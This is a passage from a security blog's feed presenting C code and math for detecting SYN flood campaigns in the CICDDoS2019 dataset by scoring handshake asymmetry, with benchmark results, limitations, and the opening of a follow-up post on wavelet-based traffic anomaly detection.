Syn&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/213/2026-07-01_11-46.png&quot; alt=&quot;syn-asym&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;In my case:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;source: /home/cocomelonc/research/datasets/ddos/03-11/Syn.csv
tcp rows converted: 4303967
seconds: 21614
attack-labeled seconds: 2820
wrote syn_handshake_timeseries.csv&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The output format:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-csv&quot;&gt;t,flows,fwd_pkts,bwd_pkts,syn_flags,ack_flags,oneway_flows,label
0,16281.0,56014.0,22770.0,4.0,16277.0,8314.0,1
1,27184.0,112916.0,46152.0,4.0,27180.0,12786.0,1&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/213/2026-07-01_11-48.png&quot; alt=&quot;ddos&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;where:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flows&lt;/code&gt; is TCP flows/sec;&lt;/li&gt;&lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fwd_pkts&lt;/code&gt; is sum of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Total Fwd Packets&lt;/code&gt;;&lt;/li&gt;&lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bwd_pkts&lt;/code&gt; is sum of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Total Backward Packets&lt;/code&gt;;&lt;/li&gt;&lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;oneway_flows&lt;/code&gt; counts flows with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Total Backward Packets == 0&lt;/code&gt;;&lt;/li&gt;&lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;label=1&lt;/code&gt; means &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Syn&lt;/code&gt; attack was present in that second.&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;math model&lt;/h3&gt;&lt;p&gt;The basic volume detector uses:&lt;/p&gt;

\[V_t = flows_t\]

&lt;p&gt;This answers:&lt;/p&gt;&lt;p&gt;&lt;em&gt;are there many TCP flows now?&lt;/em&gt;&lt;/p&gt;&lt;p&gt;But handshake asymmetry should also consider the response side.&lt;/p&gt;&lt;p&gt;First, define forward/backward packet ratio:&lt;/p&gt;

\[R_t = \frac{F_t + 1}{B_t + 1}\]

&lt;p&gt;where:&lt;/p&gt;&lt;p&gt;\(F_t\) is forward packets/sec;   &lt;br/&gt;
\(B_t\) is backward packets/sec;   &lt;br/&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+1&lt;/code&gt; prevents division by zero.&lt;/p&gt;&lt;p&gt;Then define one-way flow ratio:&lt;/p&gt;

\[O_t = \frac{W_t}{flows_t}\]

&lt;p&gt;where \(W_t\) is the number of flows with no backward packets.&lt;/p&gt;&lt;p&gt;If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flows_t = 0&lt;/code&gt;, we set:&lt;/p&gt;

\[O_t = 0\]

&lt;p&gt;The handshake asymmetry score:&lt;/p&gt;

\[A_t =
flows_t \cdot \log(1 + R_t) \cdot (1 + O_t)\]

&lt;p&gt;Why this form?&lt;/p&gt;&lt;ol&gt;&lt;li&gt;\(flows_t\) keeps attack volume.&lt;/li&gt;&lt;li&gt;\(\log(1+R_t)\) adds directional imbalance but avoids exploding too much.&lt;/li&gt;&lt;li&gt;\((1+O_t)\) increases score when many flows have no backward side.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;This is still simple enough to compute in C.&lt;/p&gt;&lt;h3&gt;robust baseline&lt;/h3&gt;&lt;p&gt;Raw values are not enough. We need to compare current values to benign baseline.&lt;/p&gt;&lt;p&gt;For any feature \(X_t\), robust z-score is:&lt;/p&gt;

\[Z_t =
\frac{X_t-\operatorname{median}(B)}
{1.4826 \cdot \operatorname{MAD}(B)}\]

&lt;p&gt;where:&lt;/p&gt;

\[\operatorname{MAD}(B)=
\operatorname{median}(|B_i-\operatorname{median}(B)|)\]

&lt;p&gt;Important detail: this file has many idle seconds with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flows=0&lt;/code&gt;. If we include idle seconds in baseline, median and MAD become zero. That is mathematically bad.&lt;/p&gt;&lt;p&gt;So baseline is learned from active benign seconds only:&lt;/p&gt;

\[B=\{X_t : label_t=0 \land flows_t&amp;gt;0\}\]

&lt;p&gt;This gives a baseline for normal active TCP traffic, not for idle time.&lt;/p&gt;&lt;h3&gt;practical example&lt;/h3&gt;&lt;p&gt;The core feature calculation:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;staticvoidcompute_raw_features(sample_t*s,intn){for(inti=0;i&amp;lt;n;i++){s[i].one_way_ratio=s[i].flows&amp;gt;0.0?s[i].oneway_flows/s[i].flows:0.0;s[i].fb_ratio=(s[i].fwd_pkts+1.0)/(s[i].bwd_pkts+1.0);s[i].volume_score_raw=s[i].flows;s[i].asym_score_raw=s[i].flows*log1p(s[i].fb_ratio)*(1.0+s[i].one_way_ratio);}}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Then robust normalization:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;doublevolume_med=median(benign_volume,benign_n);doublevolume_sigma=1.4826*mad(benign_volume,benign_n,volume_med);doubleasym_med=median(benign_asym,benign_n);doubleasym_sigma=1.4826*mad(benign_asym,benign_n,asym_med);for(inti=0;i&amp;lt;n;i++){samples[i].volume_z=(samples[i].volume_score_raw-volume_med)/volume_sigma;samples[i].asym_z=(samples[i].asym_score_raw-asym_med)/asym_sigma;samples[i].volume_alert=samples[i].volume_z&amp;gt;volume_threshold;samples[i].asym_alert=samples[i].asym_z&amp;gt;asym_threshold;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;So, the full source code looks like this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hack.c&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;/*
 * hack.c
 * SYN flood detection with handshake asymmetry on CICDDoS2019 Syn.csv
 * this is defensive signal-processing code. It does not generate packets.
 * author @cocomelonc
 */#include&amp;lt;ctype.h&amp;gt;
#include&amp;lt;errno.h&amp;gt;
#include&amp;lt;math.h&amp;gt;
#include&amp;lt;stdio.h&amp;gt;
#include&amp;lt;stdlib.h&amp;gt;
#include&amp;lt;string.h&amp;gt;#define MAX_SAMPLES 500000
#define LINE_MAX_LEN 4096
#define EVENT_MERGE_GAP 60
#define EVENT_GRACE 3
typedefstruct{intt;doubleflows;doublefwd_pkts;doublebwd_pkts;doublesyn_flags;doubleack_flags;doubleoneway_flows;intlabel;doubleone_way_ratio;doublefb_ratio;doublevolume_score_raw;doubleasym_score_raw;doublevolume_z;doubleasym_z;intvolume_alert;intasym_alert;}sample_t;typedefstruct{inttp;intfp;intfn;intevents;}metrics_t;staticintcmp_double(constvoid*a,constvoid*b){doublex=*(constdouble*)a;doubley=*(constdouble*)b;return(x&amp;gt;y)-(x&amp;lt;y);}staticdoublemedian(double*v,intn){double*tmp=(double*)malloc(sizeof(double)*n);if(!tmp){perror(&amp;quot;malloc&amp;quot;);exit(1);}memcpy(tmp,v,sizeof(double)*n);qsort(tmp,n,sizeof(double),cmp_double);doubleresult=(n%2==0)?(tmp[n/2-1]+tmp[n/2])/2.0:tmp[n/2];free(tmp);returnresult;}staticdoublemad(double*v,intn,doublemed){double*dev=(double*)malloc(sizeof(double)*n);if(!dev){perror(&amp;quot;malloc&amp;quot;);exit(1);}for(inti=0;i&amp;lt;n;i++){dev[i]=fabs(v[i]-med);}doubleresult=median(dev,n);free(dev);returnresult&amp;lt;1e-9?1e-9:result;}staticchar*trim(char*s){while(isspace((unsignedchar)*s)){s++;}if(*s==0){returns;}char*end=s+strlen(s)-1;while(end&amp;gt;s&amp;amp;&amp;amp;isspace((unsignedchar)*end)){*end=0;end--;}returns;}staticintread_series(constchar*path,sample_t*s){FILE*f=fopen(path,&amp;quot;r&amp;quot;);if(!f){fprintf(stderr,&amp;quot;failed to open %s: %s\n&amp;quot;,path,strerror(errno));exit(1);}charline[LINE_MAX_LEN];intn=0;intline_no=0;while(fgets(line,sizeof(line),f)){line_no++;char*p=trim(line);if(*p==0){continue;}if(line_no==1&amp;amp;&amp;amp;strstr(p,&amp;quot;flows&amp;quot;)&amp;amp;&amp;amp;strstr(p,&amp;quot;label&amp;quot;)){continue;}char*cols[8];for(inti=0;i&amp;lt;8;i++){cols[i]=strtok(i==0?p:NULL,&amp;quot;,&amp;quot;);if(!cols[i]){fprintf(stderr,&amp;quot;invalid CSV line %d\n&amp;quot;,line_no);exit(1);}}if(n&amp;gt;=MAX_SAMPLES){fprintf(stderr,&amp;quot;too many samples\n&amp;quot;);exit(1);}s[n].t=atoi(trim(cols[0]));s[n].flows=atof(trim(cols[1]));s[n].fwd_pkts=atof(trim(cols[2]));s[n].bwd_pkts=atof(trim(cols[3]));s[n].syn_flags=atof(trim(cols[4]));s[n].ack_flags=atof(trim(cols[5]));s[n].oneway_flows=atof(trim(cols[6]));s[n].label=atoi(trim(cols[7]))!=0;n++;}fclose(f);returnn;}staticvoidcompute_raw_features(sample_t*s,intn){for(inti=0;i&amp;lt;n;i++){s[i].one_way_ratio=s[i].flows&amp;gt;0.0?s[i].oneway_flows/s[i].flows:0.0;s[i].fb_ratio=(s[i].fwd_pkts+1.0)/(s[i].bwd_pkts+1.0);/*
     * volume_score_raw is a basic flows/sec detector.
     *
     * asym_score_raw is a handshake-pressure proxy:
     * - more flows/sec increases pressure;
     * - high forward/backward packet ratio means weak response symmetry;
     * - one-way flows increase the score.
     */s[i].volume_score_raw=s[i].flows;s[i].asym_score_raw=s[i].flows*log1p(s[i].fb_ratio)*(1.0+s[i].one_way_ratio);}}staticintcollect_benign(sample_t*s,intn,double*volume,double*asym){intcount=0;for(inti=0;i&amp;lt;n;i++){if(s[i].label){continue;}if(s[i].flows&amp;lt;=0.0){continue;}volume[count]=s[i].volume_score_raw;asym[count]=s[i].asym_score_raw;count++;}returncount;}staticmetrics_tevent_metrics(sample_t*s,intn,intuse_asym){metrics_tm={0,0,0,0};unsignedchar*covered=(unsignedchar*)calloc(n,sizeof(unsignedchar));if(!covered){perror(&amp;quot;calloc&amp;quot;);exit(1);}inti=0;while(i&amp;lt;n){if(!s[i].label){i++;continue;}intstart=i;intend=i;intlast_attack=i;i++;while(i&amp;lt;n){if(s[i].label){last_attack=i;end=i;i++;continue;}if(i-last_attack&amp;lt;=EVENT_MERGE_GAP){end=i;i++;continue;}break;}intgrace_end=end+EVENT_GRACE;if(grace_end&amp;gt;=n){grace_end=n-1;}intdetected=0;for(intj=start;j&amp;lt;=grace_end;j++){covered[j]=1;intalert=use_asym?s[j].asym_alert:s[j].volume_alert;if(alert){detected=1;}}m.events++;if(detected){m.tp++;}else{m.fn++;}}for(i=0;i&amp;lt;n;i++){intalert=use_asym?s[i].asym_alert:s[i].volume_alert;if(alert&amp;amp;&amp;amp;!covered[i]){m.fp++;}}free(covered);returnm;}staticvoidwrite_results(constchar*path,sample_t*s,intn){FILE*f=fopen(path,&amp;quot;w&amp;quot;);if(!f){fprintf(stderr,&amp;quot;failed to open %s: %s\n&amp;quot;,path,strerror(errno));exit(1);}fprintf(f,&amp;quot;t,flows,fwd_pkts,bwd_pkts,syn_flags,ack_flags,oneway_flows,label,one_way_ratio,fb_ratio,volume_raw,asym_raw,volume_z,asym_z,volume_alert,asym_alert\n&amp;quot;);for(inti=0;i&amp;lt;n;i++){fprintf(f,&amp;quot;%d,%.8f,%.8f,%.8f,%.8f,%.8f,%.8f,%d,%.8f,%.8f,%.8f,%.8f,%.8f,%.8f,%d,%d\n&amp;quot;,s[i].t,s[i].flows,s[i].fwd_pkts,s[i].bwd_pkts,s[i].syn_flags,s[i].ack_flags,s[i].oneway_flows,s[i].label,s[i].one_way_ratio,s[i].fb_ratio,s[i].volume_score_raw,s[i].asym_score_raw,s[i].volume_z,s[i].asym_z,s[i].volume_alert,s[i].asym_alert);}fclose(f);}intmain(intargc,char**argv){constchar*input=&amp;quot;syn_handshake_timeseries.csv&amp;quot;;constchar*output=&amp;quot;syn_asym_results.csv&amp;quot;;doublevolume_threshold=8.0;doubleasym_threshold=8.0;if(argc&amp;gt;1){input=argv[1];}if(argc&amp;gt;2){output=argv[2];}if(argc&amp;gt;3){volume_threshold=atof(argv[3]);}if(argc&amp;gt;4){asym_threshold=atof(argv[4]);}sample_t*samples=(sample_t*)calloc(MAX_SAMPLES,sizeof(sample_t));if(!samples){perror(&amp;quot;calloc&amp;quot;);return1;}intn=read_series(input,samples);if(n&amp;lt;32){fprintf(stderr,&amp;quot;need at least 32 samples\n&amp;quot;);free(samples);return1;}compute_raw_features(samples,n);double*benign_volume=(double*)malloc(sizeof(double)*n);double*benign_asym=(double*)malloc(sizeof(double)*n);if(!benign_volume||!benign_asym){perror(&amp;quot;malloc&amp;quot;);free(samples);return1;}intbenign_n=collect_benign(samples,n,benign_volume,benign_asym);if(benign_n&amp;lt;16){fprintf(stderr,&amp;quot;not enough benign samples\n&amp;quot;);free(benign_volume);free(benign_asym);free(samples);return1;}doublevolume_med=median(benign_volume,benign_n);doublevolume_sigma=1.4826*mad(benign_volume,benign_n,volume_med);doubleasym_med=median(benign_asym,benign_n);doubleasym_sigma=1.4826*mad(benign_asym,benign_n,asym_med);for(inti=0;i&amp;lt;n;i++){samples[i].volume_z=(samples[i].volume_score_raw-volume_med)/volume_sigma;samples[i].asym_z=(samples[i].asym_score_raw-asym_med)/asym_sigma;samples[i].volume_alert=samples[i].volume_z&amp;gt;volume_threshold;samples[i].asym_alert=samples[i].asym_z&amp;gt;asym_threshold;}metrics_tvolume_m=event_metrics(samples,n,0);metrics_tasym_m=event_metrics(samples,n,1);printf(&amp;quot;input: %s\n&amp;quot;,input);printf(&amp;quot;samples: %d\n&amp;quot;,n);printf(&amp;quot;benign samples for baseline: %d\n&amp;quot;,benign_n);printf(&amp;quot;volume median: %.8f robust sigma: %.8f threshold z: %.2f\n&amp;quot;,volume_med,volume_sigma,volume_threshold);printf(&amp;quot;asym median: %.8f robust sigma: %.8f threshold z: %.2f\n\n&amp;quot;,asym_med,asym_sigma,asym_threshold);printf(&amp;quot;event-level volume detector:             TP=%d FP=%d FN=%d events=%d\n&amp;quot;,volume_m.tp,volume_m.fp,volume_m.fn,volume_m.events);printf(&amp;quot;event-level handshake asymmetry detector: TP=%d FP=%d FN=%d events=%d\n&amp;quot;,asym_m.tp,asym_m.fp,asym_m.fn,asym_m.events);write_results(output,samples,n);printf(&amp;quot;\nwrote %s\n&amp;quot;,output);free(benign_volume);free(benign_asym);free(samples);return0;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;demo&lt;/h3&gt;&lt;p&gt;First of all, compile the C detector:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;gcc -O2-Wall-Wextra hack.c -lm-o hack&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/213/2026-07-01_11-53.png&quot; alt=&quot;ddos&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;Run with equal robust z-score thresholds for both detectors:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;./hack syn_handshake_timeseries.csv syn_asym_results.csv 8 8&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/213/2026-07-01_11-54.png&quot; alt=&quot;ddos&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;In my case:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;input: syn_handshake_timeseries.csv
samples: 21614
benign samples for baseline: 2787
volume median: 4.00000000 robust sigma: 4.44780000 threshold z: 8.00
asym median: 4.15888308 robust sigma: 4.96367492 threshold z: 8.00

event-level volume detector:             TP=8 FP=0 FN=4 events=12
event-level handshake asymmetry detector: TP=11 FP=0 FN=1 events=12

wrote syn_asym_results.csv&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The important result:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;volume detector:              TP=8  FP=0 FN=4
handshake asymmetry detector: TP=11 FP=0 FN=1&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;At the same threshold (z=8), both detectors have zero false positives at campaign level. But handshake asymmetry detects more SYN campaigns.&lt;/p&gt;&lt;h3&gt;campaign-level events&lt;/h3&gt;&lt;p&gt;Raw &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CICDDoS2019&lt;/code&gt; labels are per second after aggregation. Attack labels can be intermittent. For DDoS detection, it is usually more useful to evaluate incident/campaign detection, not every individual second.&lt;/p&gt;&lt;p&gt;So I merge attack-labeled seconds into one campaign when the gap between them is at most:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;60 seconds&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This is the campaign event definition:&lt;/p&gt;

\[event_i = \{t_s,\ldots,t_e\}\]

&lt;p&gt;where consecutive attack-labeled seconds separated by:&lt;/p&gt;

\[\Delta t \le 60\]

&lt;p&gt;belong to the same campaign.&lt;/p&gt;&lt;p&gt;A campaign is detected if at least one alert happens inside the campaign or within a small grace window:&lt;/p&gt;

\[t \in [t_s, t_e + 3]\]

&lt;p&gt;This avoids punishing a detector for alerting on the immediate boundary of the same attack.&lt;/p&gt;&lt;h3&gt;plots&lt;/h3&gt;&lt;p&gt;Then, generate the main plot:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;python3 plot_syn_asym.py&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Result:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/213/2026-07-01_11-56.png&quot; alt=&quot;syn-asym&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/213/syn_asym_detection.png&quot; alt=&quot;syn-asym&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;The plot contains:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;real TCP flows/sec from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Syn.csv&lt;/code&gt;;&lt;/li&gt;&lt;li&gt;zoom into a SYN campaign;&lt;/li&gt;&lt;li&gt;forward/backward asymmetry components;&lt;/li&gt;&lt;li&gt;robust z-scores;&lt;/li&gt;&lt;li&gt;campaign-level TP/FP/FN comparison.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Then generate threshold scan:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;python3 plot_threshold_scan.py&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Result:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/213/2026-07-01_12-00.png&quot; alt=&quot;syn-threshold-scan&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/213/syn_threshold_scan.png&quot; alt=&quot;syn-threshold-scan&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;This plot is important because it shows the result is not only one lucky threshold. Across a wide threshold range, handshake asymmetry keeps more true positives than volume-only detection while false positives stay zero at campaign level in this experiment.&lt;/p&gt;&lt;h3&gt;proof that this works&lt;/h3&gt;&lt;p&gt;Mathematical proof:&lt;/p&gt;&lt;p&gt;Volume-only detection uses:&lt;/p&gt;

\[V_t=flows_t\]

&lt;p&gt;It ignores whether those flows are balanced by response traffic.&lt;/p&gt;&lt;p&gt;Handshake asymmetry uses:&lt;/p&gt;

\[A_t =
flows_t \cdot \log(1 + R_t) \cdot (1 + O_t)\]

&lt;p&gt;with:&lt;/p&gt;

\[R_t = \frac{F_t + 1}{B_t + 1}\]

&lt;p&gt;and:&lt;/p&gt;

\[O_t = \frac{W_t}{flows_t}\]

&lt;p&gt;If traffic volume is high and response side is weak:&lt;/p&gt;

\[flows_t \uparrow,\quad R_t \uparrow,\quad O_t \uparrow\]

&lt;p&gt;then:&lt;/p&gt;

\[A_t \gg V_t\]

&lt;p&gt;relative to benign baseline.&lt;/p&gt;&lt;p&gt;If traffic volume rises but forward/backward behavior remains balanced:&lt;/p&gt;

\[R_t \approx 1,\quad O_t \approx 0\]

&lt;p&gt;then asymmetry does not grow as aggressively.&lt;/p&gt;&lt;p&gt;That is exactly the cybersecurity idea:&lt;/p&gt;&lt;p&gt;&lt;em&gt;not just “many flows”&lt;/em&gt;&lt;br/&gt;&lt;em&gt;but “many connection attempts with abnormal response symmetry”&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Practical proof on real CICDDoS2019 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Syn.csv&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;volume detector:              TP=8  FP=0 FN=4
handshake asymmetry detector: TP=11 FP=0 FN=1&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;So:&lt;/p&gt;

\[TP_{asym}-TP_{volume}=11-8=3\]

\[FN_{volume}-FN_{asym}=4-1=3\]

\[FP_{volume}=FP_{asym}=0\]

&lt;p&gt;At the same threshold \(z=8\), handshake asymmetry detects 3 more campaigns without increasing false positives.&lt;/p&gt;&lt;p&gt;Threshold scan proof:&lt;/p&gt;&lt;p&gt;At multiple thresholds, handshake asymmetry remains stronger. For example:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;z=5:  volume TP=10 FN=2, asymmetry TP=11 FN=1
z=8:  volume TP=8  FN=4, asymmetry TP=11 FN=1
z=20: volume TP=4  FN=8, asymmetry TP=11 FN=1&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This is useful because a detector that only works at one threshold is fragile. A detector that dominates across a range is more reliable.&lt;/p&gt;&lt;h3&gt;limitations&lt;/h3&gt;&lt;p&gt;This is not perfect TCP state tracking.&lt;/p&gt;&lt;p&gt;CICFlowMeter gives flow features, not raw kernel connection state. So:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Total Fwd Packets&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Total Backward Packets&lt;/code&gt; are proxy values;&lt;/li&gt;&lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SYN Flag Count&lt;/code&gt; may not fully represent all SYN packets after flow aggregation;&lt;/li&gt;&lt;li&gt;labels are dataset labels, not real-time ground truth;&lt;/li&gt;&lt;li&gt;campaign merge gap changes event-level metrics.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;For production-grade SYN flood detection, I would add:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;SYN packets/sec;&lt;/li&gt;&lt;li&gt;SYN-ACK packets/sec;&lt;/li&gt;&lt;li&gt;final ACK packets/sec;&lt;/li&gt;&lt;li&gt;half-open connection table pressure;&lt;/li&gt;&lt;li&gt;SYN cookie counters;&lt;/li&gt;&lt;li&gt;conntrack drops;&lt;/li&gt;&lt;li&gt;listen queue overflows;&lt;/li&gt;&lt;li&gt;server p99 latency.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The better score would be:&lt;/p&gt;

\[S_t =
w_1Z_{flows}+
w_2Z_{syn/synack}+
w_3Z_{halfopen}+
w_4Z_{queue\_drops}+
w_5Z_{handshake\_asym}\]

&lt;p&gt;But this post intentionally stays with fields available in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CICDDoS2019&lt;/code&gt; CSV and a simple C implementation.&lt;/p&gt;&lt;h3&gt;conclusion&lt;/h3&gt;&lt;p&gt;The main lesson:&lt;/p&gt;&lt;p&gt;&lt;em&gt;SYN flood detection should not be only volume-based. It should measure handshake asymmetry.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;On real CICDDoS2019 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Syn.csv&lt;/code&gt;, the simple asymmetry score:&lt;/p&gt;

\[A_t =
flows_t \cdot \log(1 + R_t) \cdot (1 + O_t)\]

&lt;p&gt;outperformed a plain flow-volume detector at campaign level:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;volume:     TP=8  FP=0 FN=4
asymmetry:  TP=11 FP=0 FN=1&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This is a practical defensive building block for Anti-DDoS research.&lt;/p&gt;&lt;p&gt;H. Wang, D. Zhang, K. G. Shin. &lt;em&gt;Detecting SYN Flooding Attacks&lt;/em&gt; (IEEE INFOCOM, 2002) - &lt;a href=&quot;https://www.cs.umd.edu/class/fall2023/cmsc614/papers/synflood.pdf&quot;&gt;pdf&lt;/a&gt;. Non-parametric CUSUM applied to the SYN-FIN difference; directly relevant to SYN-flood detection.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.unb.ca/cic/datasets/ddos-2019.html&quot;&gt;DDoS2019 Dataset: Canadian Institute for Cybersecurity&lt;/a&gt;&lt;br/&gt;&lt;a href=&quot;https://t.me/maldevcc/224&quot;&gt;CICDoS2019 Dataset: Telegram channel&lt;/a&gt;&lt;br/&gt;&lt;a href=&quot;https://github.com/cocomelonc/meow/tree/master/2026-07-01-ddos-syn-flood-detection-1&quot;&gt;source code in github&lt;/a&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;This is a practical defensive case for educational purposes only.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Thanks for your time happy hacking and good bye!  &lt;br/&gt;&lt;em&gt;PS. All drawings and screenshots are mine&lt;/em&gt;&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Anti-DDoS research part 2: Daubechies D4 wavelet for traffic anomaly detection. Simple C example. - cocomelonc</title>
<link>https://cocomelonc.github.io/linux/2026/06/26/ddos-wavelet-detection-2.html</link>
<enclosure type="image/jpeg" length="0" url="https://cocomelonc.github.io/assets/images/210/2026-06-25_16-59.png"></enclosure>
<guid isPermaLink="false">7FARiJMWR-k0VMcL0Pb6185ff88x2XHwDDduiA==</guid>
<pubDate>Wed, 26 Aug 2026 09:37:29 +0000</pubDate>
<description>﷽</description>
<content:encoded>&lt;p&gt;﷽&lt;/p&gt;&lt;p&gt;Hello, cybersecurity enthusiasts and white hackers!&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/210/2026-06-25_16-59.png&quot; alt=&quot;ddos-db4&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;In the &lt;a href=&quot;https://cocomelonc.github.io/linux/2026/06/23/ddos-wavelet-detection-1.html&quot;&gt;previous post&lt;/a&gt; I started with the simplest possible wavelet: Haar. Haar is great for explaining the core idea: short traffic pulses can be invisible to rolling averages, but visible to wavelet detail coefficients.&lt;/p&gt;&lt;p&gt;Today I want to make the idea a little bit more serious. We will replace Haar with the Daubechies D4 wavelet. It is still small enough to implement in plain C, but mathematically it is more interesting because it has more structure and better behavior on smooth traffic trends.&lt;/p&gt;&lt;p&gt;Just defensive signal processing on traffic time series.&lt;/p&gt;&lt;h3&gt;idea&lt;/h3&gt;&lt;p&gt;Suppose we have a traffic feature:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;flows per second
packets per second
SYN packets per second
DNS queries per second
sum of Total Fwd Packets from CICFlowMeter rows&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;For this post, the detector expects a simple CSV:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-csv&quot;&gt;t,value,label
0,120.0,0
1,122.0,0
...
170,1450.0,1&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;where:&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t&lt;/code&gt; is time bucket;  &lt;br/&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;value&lt;/code&gt; is aggregated traffic feature;  &lt;br/&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;label=0&lt;/code&gt; means benign;  &lt;br/&gt;
